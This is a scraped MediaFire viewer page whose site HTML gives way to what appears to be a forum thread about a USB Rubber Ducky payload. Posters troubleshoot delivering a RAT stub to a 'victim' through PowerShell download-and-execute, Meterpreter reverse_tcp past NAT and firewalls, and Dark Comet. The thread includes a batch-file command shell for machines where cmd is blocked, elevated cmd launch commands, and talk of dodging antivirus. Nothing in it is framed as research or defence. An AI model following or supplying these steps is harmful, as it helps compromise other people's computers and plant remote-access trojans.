</ul> </div> </div> <div class="searchRadioButtons"><label><input type="radio" name="searchscope" id="searchscope-folder" value="folder">This Folder</label> <label><input type="radio" name="searchscope" id="searchscope-global" value="global" checked>All Folders</label></div> <p class="minTxt">3 characters<br/>minimum</p> </div> </div> </div> <div id="headerControlsImageView" class="headerControls"> <div class="filenameShare"> <div id="image_filename_details"> <span class="title"> <a href="/" class="customLogoShared"><img src=""/></a> <a onclick="aQn()"> <span id="image_filename"></span> <span class="fileRenameIndicator"></span> </a> </span> <span id="image_author"></span> </div> <input id="new_image_filename" type="text"/> </div> <div class="headerControlsBtns"> <div id="imgControlGroup"> <div class="galleryControls"> <div class="IV_main_nav-download-gallery gbtnAlt ico30download" title="Download gallery"><span>Download</span></div> <div class="IV_main_nav-share-gallery gbtnAlt ico30share" title="Share gallery"><span>Share</span></div> <div class="IV_main_nav-add-gallery gbtnAlt ico30saveToAccount non-owner-only"><span>Follow</span></div> <div class="IV_main_nav-unfollow-gallery ico30following gbtnAlt non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> </div> <div class="fullviewControls"> <a href="javascript:void(0)" target="_blank" class="IV_main_nav-download-image gbtnAlt ico30download" title="Download image"><span>Download</span></a> <div class="IV_main_nav-share-image gbtnAlt ico30share" title="Share image"><span>Share</span></div> <div class="IV_main_nav-add-image gbtnAlt ico30saveToAccount non-owner-only"><span>Follow</span></div> <div class="IV_main_nav-unfollow-image ico30following gbtnAlt non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> </div> <div class="filmstripControls"> <div class="dropdown dropdownOnClick ddRight"> <a class="gbtnAlt ico30download " title="Download"><span>Download</span></a> <ul> <li class="IV_main_nav-download-image" data-cmd="download-single"><a href="javascript:void(0)" target="_blank">Download Image</a></li> <li class="IV_main_nav-download-gallery" data-cmd="download-gallery">Download Gallery</li> </ul> </div> <div class="dropdown dropdownOnClick ddRight"> <a class="gbtnAlt ico30share " title="Share">Share</a> <ul> <li class="IV_main_nav-share-image" data-cmd="download-single">Share Image</li> <li class="IV_main_nav-share-gallery" data-cmd="download-gallery">Share Gallery</li> <li class="divider"></li> <li><a href="/rss.php?key=" target="_blank">Subscribe to Folder</a></li> </ul> </div> <div class="IV_main_nav-add-image gbtnAlt ico30saveToAccount non-owner-only"><span>Follow</span></div> <div class="IV_main_nav-unfollow-image ico30following gbtnAlt non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> </div> <div class="previewSelectionControls"> <div class="IV_main_nav-download-selection gbtnAlt ico30download" title="Download selected images"><span>Download</span></div> <div class="IV_main_nav-share-selection gbtnAlt ico30share" title="Share selected images"><span>Share</span></div> <div class="IV_main_nav-add-selection gbtnAlt ico30saveToAccount non-owner-only"><span>Follow</span></div> <div class="ico30following gbtnAlt non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> <div class="selectionBubble" title="12 items selected">12</div> </div> </div> </div> </div> <div id="headerControlsMediaView" class="headerControls"> <div class="filenameShare"> <div id="PLAY_fileDetails"> <span class="title"> <a href="/" class="customLogoShared"><img src=""/></a> <a onclick="PLAY_fRenameFile();"> <span id="PLAY_fileName" title="Ducky.txt">Ducky.txt</span> <span class="fileRenameIndicator"></span> </a> </span><span id="PLAY_fileAuthor" title="shared by "sparkydude2""> shared by "sparkydude2"</span> </div> <input id="PLAY_newFileName" type="text" name="PLAY_newFileName" value="Ducky.txt" style="display:none;"/> </div> <div id="audioControlGroup"> <a href="/?8vzt89wef1qnr3n" target="_blank"><div id="aZQ" class="gbtnPrimary ico30download" title="Download track"><span>Download</span></div></a> <div id="PLAY_audio_shareFile" class="gbtnPrimary ico30share" title="Share track"><span>Share</span></div> <div id="PLAY_audio_follow" class="play-saveToAccount gbtnPrimary ico30saveToAccount" title="Follow"><span>Follow</span></div> <div id="PLAY_audio_unfollow" class="play-unfollow ico30following gbtnPrimary non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> </div> <div id="videoControlGroup"> <a href="/?8vzt89wef1qnr3n" target="_blank"><div id="aZQ" class="gbtnAlt ico30download" title="Download video"><span>Download</span></div></a> <div id="PLAY_video_shareFile" class="gbtnAlt ico30share" title="Share video"><span>Share</span></div> <div id="PLAY_video_follow" class="play-saveToAccount gbtnAlt ico30saveToAccount"><span>Follow</span></div> <div id="PLAY_video_unfollow" class="play-unfollow ico30following gbtnAlt non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> </div> </div> <div id="headerControlsDocView" class="headerControls"> <div class="filenameShare"> <div id="FP_fileDetails"> <span class="title"> <a href="/" class="customLogoShared"><img src=""/></a> <a onclick="ajf();"> <span id="FP_fileName" title="Ducky.txt">Ducky.txt</span> <span class="fileRenameIndicator"></span> </a> </span><span id="FP_fileAuthor" title="shared by "sparkydude2""> shared by "sparkydude2"</span> </div> <input id="FP_newFileName" type="text" name="FP_newFileName" value="Ducky.txt"/> </div> <div class="headerControlsBtns mobile-nav"> <a id="FP_next" class="gbtnPrimary ico30nextItem rightBtn" href="javascript:void(0);"></a> <div id="FP_pageCounter" class="pageCounter"> <span class="FP_currentPage">1</span> / <span class="FP_numPages">--</span> </div> <a id="FP_previous" class="gbtnPrimary ico30prevItem leftBtn" href="javascript:void(0);"></a> <a id="FP_zoomOut" class="gbtnPrimary ico30zoomOut rightBtn"></a> <a id="FP_zoomIn" class="gbtnPrimary ico30zoomIn leftBtn"></a> </div> <div class="headerControlsBtns"> <div id="docControlGroup"> <a href="/?8vzt89wef1qnr3n" target="_blank"><div id="aZQ" class="gbtnPrimary ico30download" title="Download document"><span>Download</span></div></a> <div id="FP_shareFile" class="gbtnPrimary ico30share" title="Share document"><span>Share</span></div> <div id="FP_saveToAccount" onclick="FollowFile()" class="gbtnPrimary ico30saveToAccount" title="Follow"><span>Follow</span></div> <div onclick="UnfollowFile()" class="ico30following gbtnPrimary non-owner-only"><span class="followingTxt">Following</span><span class="unfollowHover">Unfollow</span></div> </div> <div class="codeViewBtns"> <div class="dropdown ddRight dropdownOnClick"> <a class="gbtnPrimary ico30settings rightBtn" href="javascript:void(0);" title="Settings"></a> <ul> <li><label><input type="checkbox" checked="checked"/> Auto Save Document</label></li> <li class="divider"></li> <li class="submenu"> Themes <span class="indicator-right"></span> <ul> <li class="ddSectionLabel">Light Themes</li> <li data-theme="dreamweaver" class="dreamweaverTheme">Dreamweaver</li> <li data-theme="eclipse" class="eclipseTheme">Eclipse</li> <li data-theme="github" class="githubTheme">GitHub</li> <li data-theme="textmate" class="textmateTheme">TextMate</li> <li data-theme="xcode" class="xcodeTheme">XCode</li> <li class="divider"></li> <li class="ddSectionLabel">Dark Themes</li> <li data-theme="chaos" class="chaosTheme">Chaos</li> <li data-theme="cobalt" class="cobaltTheme">Cobalt</li> <li data-theme="monokai" class="monokaiTheme">Monokai</li> <li data-theme="twilight" class="twilightTheme">Twilight</li> <li data-theme="vibrant_ink" class="vibrant_inkTheme">Vibrant Ink</li> </ul> </li> </ul> </div> <a class="gbtnPrimary ico30replace centerBtn" href="javascript:void(0);" title="Replace in document"></a> <a class="gbtnPrimary ico30search centerBtn" href="javascript:void(0);" title="Find in document"></a> <a class="gbtnPrimary ico30save leftBtn" href="javascript:void(0);" title="Save document"><span>Save</span><span class="savingTxt">Saving…</span></a> </div> </div> </div> </div> <div id="fb-root"></div> <script type="text/javascript">$('.floatingTab').click(function(e){if($(this).hasClass('open')){$(this).removeClass('open');$(this).parent().animate({right: -380},250,'easeOutExpo');}else{$(this).addClass('open');$(this).parent().animate({right:0},700,'easeOutExpo');fRequestHelpCode();}});$('.floatingTabsButtons .cancelBtn').click(function(e){$('.floatingTab').removeClass('open');$(this).parent().parent().animate({right: -380},250,'easeOutExpo');});function fRequestHelpCode(){if(!$(".help_code_target").text()){$(".help_code_target").hide();$.ajax({type:'POST',url:'/dynamic/get_help_code.php',dataType:'json',data:{page:window.location.toString()},success:function(Ha){if(Ha&&Ha.help_code){$(".help_code_target").show().text(Ha.help_code);$("#submit_ticket_anchor").attr("href","http://www.mediafire.com/help/submit_a_ticket.php?help_code="+Ha.help_code);}else{$(".help_code_target").show().text("Unknown Error");}},error:function(){$(".help_code_target").show().text("Unknown Error");}});}} </script> <script language="JavaScript" src="https://cdnssl.mediafire.com/js/master_107763.js" type="text/javascript"></script> <script language="JavaScript" type="text/JavaScript">bkA='rkrxmm0j86b';identifier='';UserLogin='0';UserEmail='n/a';fu= 0;lB= 0;if(lB==1)var bdq='https';else var bdq='http';var sPlaxoInsert='';var WRInitTime=(new Date()).getTime();var wM= 0;var wL= 0;var bLinkedFacebook= 0;var bLinkedTwitter= 0;var FBAppId='124578887583575';var yO= 120000;var yP= 120000;var mI;try{jQuery(function($){function aaP(abv){return abv.replace(/\W+/,"-").toLowerCase();};bdz();FHI_FadeTimer=null,FHI_FadeDelay=2000,FHI_DisableTimerCount=false,FHI_IconsWrapper=$("body.myfiles #subFooterWrap, body.filePreview #subFooterWrap, body.fileEdit #subFooterWrap");FHI_HideFooterHelpIcons=function(){if(!FHI_DisableTimerCount&& !$("#footer").hasClass("tabMF")&& !$("#footer").hasClass("tabMFhelp")){FHI_IconsWrapper.fadeOut("slow");}};$("body").bind("mousemove.fhi",function(){FHI_IconsWrapper.fadeIn("fast");clearTimeout(FHI_FadeTimer);if(!FHI_DisableTimerCount&& !$("#footer").hasClass("tabMF")&& !$("#footer").hasClass("tabMFhelp")){FHI_FadeTimer=setTimeout(FHI_HideFooterHelpIcons,FHI_FadeDelay);}});FHI_IconsWrapper.on("mouseenter.fhi",function(){FHI_DisableTimerCount=true;}).on("mouseleave.fhi",function(){FHI_DisableTimerCount=false;});var Jd=BrowserName();if(Jd==="Internet Explorer"){document.body.className=document.body.className.replace(/(\sie\d+|^ie\d+)/g,'');Jd="ie"+parseInt(Bm(),10);}if(Jd==="Opera"&&parseInt(Bm(),10)>=15){Jd="newOpera";}$(document.body).addClass(aaP(lc())+" "+aaP(Jd));$('#form_login1').keydown(function(e){e=e||window.event;if(e.keyCode==13&&($('#login_pass').val()!=''||$('#login_email').val()!='')){$(this).closest('form').submit();return false;}});$("#page_screen").on("click",QU);});}catch(e){asO(e,'HDR:os_browser_check');} var RZ='http://www.mediafire.com/?cbq9bcjdch3h4hf'; </script> <script type="text/javascript">try{$(document).ready(function(){ aoy("free,pro,biz,tools"); });}catch(e){asO(e,'HDR:show_menu');} </script> <script type="text/javascript">try{setInterval(function(){if(aL('mfloggedoff')=='true'){window.localStorage&&localStorage.clear();top.location='/logout.php';}},30000);}catch(e){} </script> <script type="text/javascript" src="https://cdnssl.mediafire.com/js/jquery.client.js"></script> <script type="text/javascript" src="https://cdnssl.mediafire.com/js/pdf-viewer_107763.js"></script> <script type="text/javascript">try{LoadIframeLightbox('/dynamic/template_popup.php?page=upgrade_browser&class=myfiles',780,490);}catch(e){asO(e,'MYF:upgradeBrowserPopup');} </spoiler>
THIS IS NOT WHAT THE TEXT FILE THAT I UPLOADED SAID.
-
I tried doing a wget for TeamViewer, which I know should work because I wrote the code and it worked just fine two days ago. I suggest using an ftp, or if you need to you can try and use a duckslurp modification which would allow you to transfer the file off a USB and execute it with the cmd. If cmd is blocked on your target computer, consider writing the following code into a text file, and save as a .bat:
@echo off break off :loopcommand: echo. set cmd= set /p cmd=%cd%: %cmd% goto loopcommand
Else you could execute the file with a vb script. It's all up to you, although I'd go the cmd way personally.
I've tried setting up a FTP server, but failed horribly. I think I am going to actually use meterpreter, and then upload and execute the RAT.
-
Ok. I have a Virtual Machine running BackTrack R5. How will I be able to make a reverse_tcp payload that connects over the internet when the victim has a strict NAT and a firewall? NEEDS TO USE METERPRETER.
I NEED THIS TO WORK WITH THE DUCKY.
PAST PROBLEMS HAVE COME UP WHERE THE EXE DOES NOT EXECUTE, PROBABLY DUE TO THE VIRUS BLOCK IN POWERSHELL. (TXT WORKS IN POWERSHELL)
Thanks.
ALSO: I HAVE TRIED DARK COMET BUT, AS AFOREMENTIONED, IT DOES NOT WORK. I CAN UPLOAD AND EXECUTE A DARK COMET RAT WITH METERPRETER.
-
Haxineer1337, what sort of file are you downloading off dropbox. Chrome decects a virus, and I don't know if a program like Microsoft Security Essentials might be blocking the program from running.
It is a RAT stud, and it is identified by lots of antiviruses. It technically just drops a RAT on their computer.
Let me try doing it with something like a text file.
EDIT: UMG IT WORKS WITH THE TEXT FILE. Great, now I can't drop the RAT. Anyone have any ideas?
ALSO POSSIBLE: THE EXE COULD HAVE GOTTEN CORRUPTED
-
Hmm. If you are using the unmodified code, then PowerShell may not be a part of your path. Try to specify everything through cmd, including the directory to powershell itself. Else you could use CTRL ESC to open the start menu and try the following:
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe Start-Process cmd.exe -Verb runAs
NOTE: When you try and execute an application with a path that includes a space (e.g. C:\Hello Directory\Hello File.txt) you may need to put the path in double quotes:
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe Start-Process "C:\Windows\System32\cmd.exe" -Verb runAs
See if that works.
MB60893
I have resolved that problem. Please help me resolve the current problem. Thank you for helping.
-
OLD PROBLEM: Problem Solved
The aforementioned problem was actually caused by how the RAT melted itself. Therefore, when I uploaded it, it turned to 0kb and never worked.
NEW PROBLEM: I have a RAT Stub on mediafire (Shared Files)
The powershell wget and execute script runs and the box pops up and shortly closes due to the windowstyle hidden feature. The file successfully downloads to the C drive, but never executes it. I try to execute it manually and it says that "This program is not compatible with the version of windows you're running". This is weird because if I download and execute it manually it works (I make a box pop up), it's just the powershell downloader that screws it up. Can someone help? I'd appreciate it, thanks.
UPDATE: OK, ON MEDIAFIRE THE FILE IS 659KB, BUT THE FILE THE FILE DOWNLOADED WITH POWERSHELL IS ONLY 92.5KB. HELP?!
UPDATE UPDATE: IT SEEMS THAT THE DOWNLOADER IS DOWNLOADING THE WEBPAGE AND NOT THE FILE. HELP?
Code: (Runs Test stub which is suppose to open up a text window):
Start-Process : This command cannot be run due to the error: The specified
executable is not a valid application for this OS platform..
At line:1 char:121
+ ... \testub.exe'); Start-Process C:\testub.exe
[Payload] Reverse Powershell Script
in Classic USB Rubber Ducky
Posted
Can't we just use a downloader and a batch file? Also, if we use a remote ip can we get remote access?